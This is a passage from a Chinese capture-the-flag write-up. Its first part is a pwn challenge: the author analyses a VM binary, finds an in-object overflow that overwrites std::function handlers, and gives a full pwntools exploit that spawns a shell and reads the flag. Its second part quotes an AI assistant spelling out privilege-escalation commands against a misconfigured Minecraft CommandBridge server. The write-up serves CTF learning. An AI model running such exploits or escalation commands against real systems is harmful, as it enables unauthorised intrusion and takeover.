0x30 add
0x31 sub
0x32 mul
0x34 and
0x35 or
0x36 xor
0x37 not
0x38 mov
0x39 shl
0x40 shr
注意:

0x33 在旧版里是 div
新版里把 div 删了
syscall2
不真的执行 syscall
只打印 No syscall access!
然后把 exit_pending 置 1
exit2
打印 set your exit code
然后 cin >> (this+0xa4)
再把这个字符串 stoi
写入 exit_code
然后置 exit_pending = 1
真正危险的地方
这里最关键的是:exit2 的这句输入

cin >> (this + 0xa4)
它把用户输入当成 C 风格字符串写到对象内部,
但 +0xa4 后面并不是一个足够大的缓冲区,
紧跟着就是那 5 个 std::function<void()>。

所以这本质上是:

一个对象内溢出
覆盖目标是 dispatch table
这是这个程序最明确、最稳定的入口漏洞。

为什么旧版 handler 还重要
因为虽然程序实际用的是 *_op2,但旧版 *_op 还在 binary 里,而且更危险。

最重要的是旧版 vm_data_op:

三字节格式同样是 subop x y
它只检查第三字节 y <= 3
但第二字节 x 没有限制
而且 x 被按 signed char 使用,做 this + (0x2a + x) * 8
所以旧版 data_op 不是普通 data 槽访问,而是:

可以对 this 附近对象字段做相对任意读写
这是我现在认为真正的核心利用面:

用 exit2 溢出覆盖某个 handler
把 0x02 的 handler 从 vm_data_op2 改回旧 vm_data_op
再通过字节码使用旧 vm_data_op
获得对象内相对任意读写
再进一步改 std::function / vector / 其他字段,做 leak 和劫持
syscall 那块怎么看
旧版 vm_syscall 确实能调用 syscall_helper,而 syscall_helper 里就是裸 syscall。

但它前面有一个全局开关:

syscall_access @ 0x412010
只有这个字节非零,旧版 syscall 才真的执行;
否则它只是打印 No syscall access! 然后退出本轮。

所以静态上看,不能把“直接 opcode 0x04 拿 shell”当成主思路。
更合理的是:

要么想办法把 syscall_access 改成 1
要么根本不依赖 VM syscall,而是直接做普通控制流劫持
我现在对题目的判断
这题可以分成两层:

第一层是“显式漏洞”

vm_exit2 的对象内溢出
第二层是“被溢出唤醒的旧逻辑”

把新版 handler 改回旧版
尤其是旧版 vm_data_op,能做对象内相对任意读写
所以它不是单纯一发 exit2 就 RCE,
而更像:

exit2 给你改 dispatch
旧版 handler 给你真正的 exploit primitive

> exp.py交互

from pwn import *


context(os='linux', arch='amd64')
context.terminal = ['wt.exe', 'wsl']

filename = './xxx'
libcname = ''
host = '127.0.0.1'
port = 36591
container_id = ''
proc_name = 'xxx'

elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)

gs = r'''

'''


def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
elif args.DOCKER:
import docker
from os import path
import tempfile

p = remote(host, port)
client = docker.from_env()
container = client.containers.get(container_id=container_id)
processes_info = container.top()
titles = processes_info['Titles']
processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]

target_proc = []
for proc in processes:
cmd = proc.get('CMD', '')
exe_path = cmd.split()[0] if cmd else ''
exe_name = path.basename(exe_path)
if exe_name == proc_name:
target_proc.append(proc)

idx = 0
if len(target_proc) > 1:
for i, v in enumerate(target_proc):
print(f'{i} => {v}')
idx = int(input('Which one: '))

with tempfile.NamedTemporaryFile(
prefix='cpwn-gdbscript-',
delete=False,
suffix='.gdb',
mode='w',
) as tmp:
tmp.write(f'shell rm {tmp.name}\n{gs}')

print(tmp.name)
run_in_new_terminal(['sudo', 'gdb', '-p', target_proc[idx]['PID'], '-x', tmp.name])
return p
else:
return gdb.debug(elf.path, gdbscript=gs)


def u8b(x):
return p8(x & 0xff)


def check_reg(reg):
assert 0 <= reg <= 3
return reg


def check_u8(x):
assert 0 <= x <= 0xff
return x


def check_u64(x):
return x & 0xffffffffffffffff


def asm_vm(*chunks):
out = b''
for c in chunks:
if isinstance(c, int):
out += p8(c & 0xff)
else:
out += bytes(c)
return out


# opcode 0x01: stack_op2
def vm_push_imm(reg, imm):
reg = check_reg(reg)
return asm_vm(0x01, 0x10, reg, p64(check_u64(imm)))


def vm_pop(reg):
reg = check_reg(reg)
return asm_vm(0x01, 0x11, reg)


def vm_push_reg(reg):
reg = check_reg(reg)
return asm_vm(0x01, 0x12, reg)


# opcode 0x02: data_op2
# 0x20 x y => data[x] = regs[y]
# 0x21 x y => regs[y] = data[x]
def vm_data_store(slot, reg):
slot = check_u8(slot)
reg = check_reg(reg)
return asm_vm(0x02, 0x20, slot, reg)


def vm_data_load(slot, reg):
slot = check_u8(slot)
reg = check_reg(reg)
return asm_vm(0x02, 0x21, slot, reg)


# opcode 0x03: regs_op2
# format: op, dst, src1, src2
def vm_add(dst, src1, src2):
return asm_vm(0x03, 0x30, check_reg(dst), check_reg(src1), check_reg(src2))


def vm_sub(dst, src1, src2):
return asm_vm(0x03, 0x31, check_reg(dst), check_reg(src1), check_reg(src2))


def vm_mul(dst, src1, src2):
return asm_vm(0x03, 0x32, check_reg(dst), check_reg(src1), check_reg(src2))


def vm_and(dst, src1, src2):
return asm_vm(0x03, 0x34, check_reg(dst), check_reg(src1), check_reg(src2))


def vm_or(dst, src1, src2):
return asm_vm(0x03, 0x35, check_reg(dst), check_reg(src1), check_reg(src2))


def vm_xor(dst, src1, src2):
return asm_vm(0x03, 0x36, check_reg(dst), check_reg(src1), check_reg(src2))


def vm_not(dst, src):
return asm_vm(0x03, 0x37, check_reg(dst), check_reg(src), 0)


def vm_mov(dst, src):
return asm_vm(0x03, 0x38, check_reg(dst), check_reg(src), 0)


def vm_shl(dst, src, shift_reg):
return asm_vm(0x03, 0x39, check_reg(dst), check_reg(src), check_reg(shift_reg))


def vm_shr(dst, src, shift_reg):
return asm_vm(0x03, 0x40, check_reg(dst), check_reg(src), check_reg(shift_reg))


# opcode 0x04 / 0x05
def vm_syscall():
return asm_vm(0x04)


def vm_exit():
return asm_vm(0x05)


def vm_end():
return asm_vm(0x00)


def send_vm(io, code):
io.sendafter(b'input your code: ', code + b'\n')

先通过退出的cin溢出覆盖到std::function

查询std::function内存布局

这很像 GCC 的 libstdc++ 里 std::function<void()> 的典型布局:

template<typename _Res, typename... _ArgTypes>
class function<_Res(_ArgTypes...)>
{
_Any_data _M_functor; // 16 bytes, 小对象缓冲区 / 或者指向真实对象
_Manager_type _M_manager; // 管理函数指针
_Invoker_type _M_invoker; // 调用函数指针
};

对应到 64 位下一般可以理解成:

struct std_function_void_like {
void* functor_part1; // _Any_data 的前 8 字节
void* functor_part2; // _Any_data 的后 8 字节
void* manager; // _M_manager
void* invoker; // _M_invoker
};

也就是总共通常 32 字节。

发现需要控制invoker指针,指向main函数返回重新构建一个VM结构,此时因为已经update了,updatefunc不会再次调用

只有旧版的func可以使用syscall,没有沙箱可以直接调用execve(0x3b)

需要reg[0]=0x3b,reg[1]=addr->/bin/sh,reg[2]=reg[3]=0

调试时发现push 0x3b再pop reg会变成0x3b00000000000000,那么“/bin/sh”要变成“00hs/nib/”,之类的,再让字符串地址对齐,尝试垫些指令,发现add刚好可以,于是先add在push “00hs/nib/”,而vm_data_load可以支持负索引data进入reg,那么意味着可以使用VM的std::function的_Any_data中指向堆的残留地址,这样就可以让一个堆地址进入reg,而我们的字符串就是在堆上,通过偏移计算修改地址指向“/bin/sh”字符串,xor多余reg数据然后syscall即可完成利用

exp.py如下

#!/usr/bin/env python3

'''
author: GeekCmore
time: 2026-04-18 19:39:56
'''
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['wt.exe', 'wsl']
filename = "/home/ubuntu/WHUCTF2026/vmpp/pwn_patched"
libcname = "/home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 44077
container_id = ""
proc_name = ""
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
'''
def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
elif args.DOCKER:
import docker
from os import path
p = remote(host, port)
client = docker.from_env()
container = client.containers.get(container_id=container_id)
processes_info = container.top()
titles = processes_info['Titles']
processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
target_proc = []
for proc in processes:
cmd = proc.get('CMD', '')
exe_path = cmd.split()[0] if cmd else ''
exe_name = path.basename(exe_path)
if exe_name == proc_name:
target_proc.append(proc)
idx = 0
if len(target_proc) > 1:
for i, v in enumerate(target_proc):
print(f"{i} => {v}")
idx = int(input(f"Which one:"))
import tempfile
with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
tmp.write(f'shell rm {tmp.name}\n{gs}')
print(tmp.name)
run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
return p
else:
return gdb.debug(elf.path, gdbscript = gs)


def u8b(x):
return p8(x & 0xff)


def check_reg(reg):
assert 0 <= reg <= 3
return reg


def check_u8(x):
assert 0 <= x <= 0xff
return x


def check_u64(x):
return x & 0xffffffffffffffff


def asm_vm(*chunks):
out = b''
for c in chunks:
if isinstance(c, int):
out += p8(c & 0xff)
else:
out += bytes(c)
return out


# opcode 0x01: stack_op2
def vm_push_imm(reg, imm):
reg = check_reg(reg)
return asm_vm(0x01, 0x10, reg, p64(check_u64(imm)))


def vm_pop(reg):
reg = check_reg(reg)
return asm_vm(0x01, 0x11, reg)


def vm_push_reg(reg):
reg = check_reg(reg)
return asm_vm(0x01, 0x12, reg)


# opcode 0x02: data_op2
# 0x20 x y => data[x] = regs[y]
# 0x21 x y => regs[y] = data[x]
def vm_data_store(slot, reg):
slot = check_u8(slot)
reg = check_reg(reg)
return asm_vm(0x02, 0x20, slot, reg)


def vm_data_load(slot, reg):
slot = check_u8(slot)
reg = check_reg(reg)
return asm_vm(0x02, 0x21, slot, reg)


# opcode 0x03: regs_op2
# format: op, dst, src1, src2
def vm_add(dst, src1, src2):
return asm_vm(0x03, 0x30, check_reg(dst), check_reg(src1), check_reg(src2))


def vm_sub(dst, src1, src2):
return asm_vm(0x03, 0x31, check_reg(dst), check_reg(src1), check_reg(src2))


def vm_mul(dst, src1, src2):
return asm_vm(0x03, 0x32, check_reg(dst), check_reg(src1), check_reg(src2))


def vm_and(dst, src1, src2):
return asm_vm(0x03, 0x34, check_reg(dst), check_reg(src1), check_reg(src2))


def vm_or(dst, src1, src2):
return asm_vm(0x03, 0x35, check_reg(dst), check_reg(src1), check_reg(src2))


def vm_xor(dst, src1, src2):
return asm_vm(0x03, 0x36, check_reg(dst), check_reg(src1), check_reg(src2))


def vm_not(dst, src):
return asm_vm(0x03, 0x37, check_reg(dst), check_reg(src), 0)


def vm_mov(dst, src):
return asm_vm(0x03, 0x38, check_reg(dst), check_reg(src), 0)


def vm_shl(dst, src, shift_reg):
return asm_vm(0x03, 0x39, check_reg(dst), check_reg(src), check_reg(shift_reg))


def vm_shr(dst, src, shift_reg):
return asm_vm(0x03, 0x40, check_reg(dst), check_reg(src), check_reg(shift_reg))


# opcode 0x04 / 0x05
def vm_syscall():
return asm_vm(0x04)


def vm_exit():
return asm_vm(0x05)


def vm_end():
return asm_vm(0x00)


def send_vm(io, code):
io.sendafter(b'input your code: ', code + b'\n')


p=start()
# gdb.attach(p)
# pause()
code = b''
code += vm_push_imm(0, 0x1122334455667788)
code += vm_exit()
p.recvuntil(b'input your code: \n')
#pause()
p.sendline(code)
#pause()
p.recvuntil(b"set your exit code")
ret_func=0x4025bd
payload1=b'1'*(4)+p64(0)*2+p64(0x2ac412b0)+p64(0)+p64(ret_func)*2+p64(0x2ac412b0)+p64(0)+p64(ret_func)*2+p64(0x2ac412b0)+p64(0)
payload1+=p64(ret_func)*2+p64(0x2ac412b0)+p64(0)
payload1+=p64(ret_func)*2+p64(0x2ac412b0)+p64(0)
payload1+=p64(ret_func)*2
p.sendline(payload1)

p.recvuntil(b"input your code: \n")
code2=b''
code2+=vm_add(0,0,0)
code2+=vm_push_imm(0, 0x2f62696e2f736800)
code2+=vm_push_imm(0, 0x3b00000000000000)
code2+=vm_push_imm(0, 0x5809000000000000)
code2+=vm_pop(2)
code2+=vm_pop(0)
code2+=vm_data_load(0xfc,1)
code2+=vm_add(1,1,2)
code2+=vm_xor(2,2,2)
code2+=vm_syscall()
code2 += vm_exit()
p.sendline(code2)
#p.sendline(payload1)
#pause()
p.interactive()

效果如下

 ~/WHUCTF2026/vmpp  python3 exp.py P
[*] '/home/ubuntu/WHUCTF2026/vmpp/pwn_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[*] '/home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
[+] Starting local process '/home/ubuntu/WHUCTF2026/vmpp/pwn_patched' argv=[b'/home/ubuntu/WHUCTF2026/vmpp/pwn_patched'] : pid 17724
[DEBUG] Received 0x12 bytes:
b'input your code: \n'
[DEBUG] Sent 0xd bytes:
00000000 01 10 00 88 77 66 55 44 33 22 11 05 0a │····│wfUD│3"··│·│
0000000d
[DEBUG] Received 0x24 bytes:
b"ok let's try it.\n"
b'set your exit code\n'
[DEBUG] Sent 0xb5 bytes:
00000000 31 31 31 31 00 00 00 00 00 00 00 00 00 00 00 00 │1111│····│····│····│
00000010 00 00 00 00 b0 12 c4 2a 00 00 00 00 00 00 00 00 │····│···*│····│····│
00000020 00 00 00 00 bd 25 40 00 00 00 00 00 bd 25 40 00 │····│·%@·│····│·%@·│
00000030 00 00 00 00 b0 12 c4 2a 00 00 00 00 00 00 00 00 │····│···*│····│····│
00000040 00 00 00 00 bd 25 40 00 00 00 00 00 bd 25 40 00 │····│·%@·│····│·%@·│
00000050 00 00 00 00 b0 12 c4 2a 00 00 00 00 00 00 00 00 │····│···*│····│····│
00000060 00 00 00 00 bd 25 40 00 00 00 00 00 bd 25 40 00 │····│·%@·│····│·%@·│
00000070 00 00 00 00 b0 12 c4 2a 00 00 00 00 00 00 00 00 │····│···*│····│····│
00000080 00 00 00 00 bd 25 40 00 00 00 00 00 bd 25 40 00 │····│·%@·│····│·%@·│
00000090 00 00 00 00 b0 12 c4 2a 00 00 00 00 00 00 00 00 │····│···*│····│····│
000000a0 00 00 00 00 bd 25 40 00 00 00 00 00 bd 25 40 00 │····│·%@·│····│·%@·│
000000b0 00 00 00 00 0a │····│·│
000000b5
[DEBUG] Received 0x12 bytes:
b'input your code: \n'
[DEBUG] Sent 0x3d bytes:
00000000 03 30 00 00 00 01 10 00 00 68 73 2f 6e 69 62 2f │·0··│····│·hs/│nib/│
00000010 01 10 00 00 00 00 00 00 00 00 3b 01 10 00 00 00 │····│····│··;·│····│
00000020 00 00 00 00 09 58 01 11 02 01 11 00 02 21 fc 01 │····│·X··│····│·!··│
00000030 03 30 01 01 02 03 36 02 02 02 04 05 0a │·0··│··6·│····│·│
0000003d
[*] Switching to interactive mode
[DEBUG] Received 0x11 bytes:
b"ok let's try it.\n"
ok let's try it.
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x95 bytes:
b'README.md ld-linux-x86-64.so.2 pwn\t solve_remote.py\n'
b'cpp-lib libc.so.6\t\t pwn.i64 vmpp_exploit.py\n'
b'exp.py\t libstdc++.so.6\t pwn_patched\n'
README.md ld-linux-x86-64.so.2 pwn solve_remote.py
cpp-lib libc.so.6 pwn.i64 vmpp_exploit.py
exp.py libstdc++.so.6 pwn_patched
$ cat /flag
[DEBUG] Sent 0xa bytes:
b'cat /flag\n'
[DEBUG] Received 0x12 bytes:
b'your_flag_content\n'
your_flag_content

MISC

跑路

过程

将题目描述和提示加上配置文件和对应网页内容发给ai

注册登录后尝试各种命令

发现

/sendcmdtoserver server1 op <你的名字>

成功得到管理员权限,然后直接getflag

附件

ai对话如下

我先把题面里能落地的点串起来:这是个 BungeeCord 反代 + Spigot 后端 的 MC 服,配置基本默认,且明确点名 CommandBridge、MQEasy,再给了 commandbridge.bukkit.send = TRUE。这已经很像“跨服指令桥默认配错,能被普通玩家借道打到后端控制命令”的链子了。已经定位到插件源头了:CommandBridge 的官方说明就是“把 Spigot 里的命令发到 BungeeCord,或者 Bungee 发到 Spigot,甚至 Spigot 发到 Spigot”。题目那句“有没有可利用的插件”基本就是在点它。已思考 1m 35s这题的核心不是“服务器炸了”,而是:
默认配置的跨服指令桥 + 错误下发给玩家的权限 = 普通玩家能远程执行后端/代理指令。
题目给的所有提示,基本都在往这条链上推。

结论先说
预期解法大概率是:
进服后先想办法看命令列表,发现有 CommandBridge 提供的命令,比如 sendcmd、sendcmdtoserver
由于题目明确给了 commandbridge.bukkit.send is TRUE,说明普通玩家拿到了该插件的发送权限
CommandBridge 官方功能就是:
Spigot -> BungeeCord
BungeeCord -> Spigot
Spigot -> Spigot
也就是“跨服转发命令”
这个插件在 Spigot 端注册了:
sendcmd
sendcmdtoserver
且对应权限节点是 commandbridge.spigot.send,默认只有 OP;题目里等价于告诉你这个权限被错误放给玩家了
配置基本是默认值,而默认配置里运行模式就是 MessageQueue,并且作者推荐配合 MQEasy 使用;题面也直接给了 MQEasy 默认配置片段
所以普通玩家可以借 sendcmd / sendcmdtoserver 把命令发去代理或别的后端,进而拿高权限、进管理菜单、跨子服乱跑,完全符合题面现象描述
为什么这是预期漏洞
1)CommandBridge 本来就是“跨服执行命令”的
官方 README 明写了:
这个插件允许你把 Spigot 的命令发送到 BungeeCord
也支持 Bungee 到 Spigot
甚至 Spigot 到 Spigot
Spigot 资源页也写得很直白:
你在 Spigot 侧下 /sendcmd alert helloworld,BungeeCord 就会执行你发过去的命令。
这已经不是普通“聊天/传送”插件了,这是个命令桥。
2)插件确实暴露了可供玩家触发的命令
插件的 plugin.yml 里能看到:
sendcmd
sendcmdtoserver
权限节点:commandbridge.spigot.send
默认:op
题目提示 2 让你去看指令列表,就是要你发现这两个命令。
3)默认配置正好适合“配烂了出事”
默认 config.yml 里有几个很关键的点:
running-mode: MessageQueue
enable-player-command: false
password: EDIT_ME(默认没改)
而题目正文又强调“基本所有配置文件都是默认配置文件”,所以你可以合理推断:
服主根本没认真改密码/鉴权
MessageQueue 模式大概率直接照抄
MQEasy 也是默认配置
题面给的 MQEasy 配置则显示:
broker 关着
remote 指向 127.0.0.1:61616
id: server1
这说明这套东西就是照着作者文档默认拼起来的,安全边界几乎没有认真设计。
题目里那些“症状”怎么对应到这条链
题面说:
新玩家突然能进管理菜单
内部入口谁都能进
某个子服的东西乱窜到大厅
踢不掉、封不住、权限改了又回来
玩家列表里冒出奇怪在线名
这些都非常像:
玩家能在前台服触发跨服命令
命令被送去代理层或后端服执行
能直接调用后台插件命令、权限命令、传送命令、假人/同步类命令
于是大厅、子服、权限系统全串了
这和 CommandBridge 的设计用途完全吻合。
实战上应该怎么打
你在题环境里应该优先做这几步:
第一步:枚举命令
在服务器里看帮助、Tab 补全、命令报错回显,找:
/sendcmd
/sendcmdtoserver
可能的别名 scts、sctsbukkit
第二步:验证是否真有权限
直接试:
/sendcmd help/sendcmd ?/sendcmd list/sendcmd server/sendcmd alert test
再试:
/sendcmdtoserver lobby help/sendcmdtoserver survival help/sendcmdtoserver hub help
因为你不知道子服名,但一般常见是 lobby / hub / survival / auth / game。
第三步:拿高权
如果这个桥转发的是“原样命令”,最直接就是打权限系统或原版管理命令,比如:
/sendcmd lp user <你的ID> permission set * true/sendcmd luckperms user <你的ID> permission set * true/sendcmd op <你的ID>
或者往指定后端打:
/sendcmdtoserver lobby op <你的ID>/sendcmdtoserver survival lp user <你的ID> permission set * true
如果代理层能执行 Bungee 命令,也可以试:
/sendcmd end/sendcmd greload/sendcmd alert hacked/sendcmd send <你> survival
第四步:找 flag
拿到高权后,常见取旗方式有三类:
直接 /plugins、/bukkit:plugins 看题目插件名
/lp editor、/pex、/manuadd 等拿全权后逛管理界面
用能读配置/执行控制台命令的插件去看:
插件配置
MOTD
记分板
自定义变量
某个隐藏命令输出
如果题目是把 flag 放在“某个只有管理员能开的菜单/命令”里,那走到这里就够了。
一个关键的小坑
你题面写的是:
提示5:'commandbridge.bukkit.send' is TRUE
但插件 plugin.yml 里显示的权限名是:
commandbridge.spigot.send
这两者不一致。
这通常有两种可能:
题目作者故意口胡/旧版本命名残留
实际想表达的是“玩家已经有了这个发送权限”
服里另有权限映射/插件写死了旧节点
不管哪种,题目的意思都很明确:
普通玩家被放行了 CommandBridge 的发送能力。
所以这题的标准答案可以怎么写
你可以这样概括:
服务器使用 BungeeCord + Spigot,并安装了 CommandBridge 与 MQEasy。
CommandBridge 默认工作在 MessageQueue 模式,且提供 sendcmd / sendcmdtoserver 用于跨服执行命令。插件官方说明确认它支持 Spigot→Bungee、Bungee→Spigot、Spigot→Spigot 的命令转发;其 plugin.yml 也显示这些命令及发送权限节点。题目又明确指出 commandbridge.bukkit.send 为 TRUE,结合“配置基本默认”,说明普通玩家被错误授予了跨服命令发送权限。
因此可由普通玩家直接使用 CommandBridge 将命令发送至代理层或后端服务器执行,进一步获取 OP / LuckPerms 权限或访问管理功能,最终取得 flag。
最后一句
这题我能比较确定地还原出预期漏洞链,但拿不到唯一 flag 字符串,因为你没给目标实例、命令回显或附件环境。
如果你把服务端附件、插件列表、命令回显,或者你已经试过的几条 /sendcmd... 结果贴出来,我可以继续把利用命令精确到“先敲哪一条”。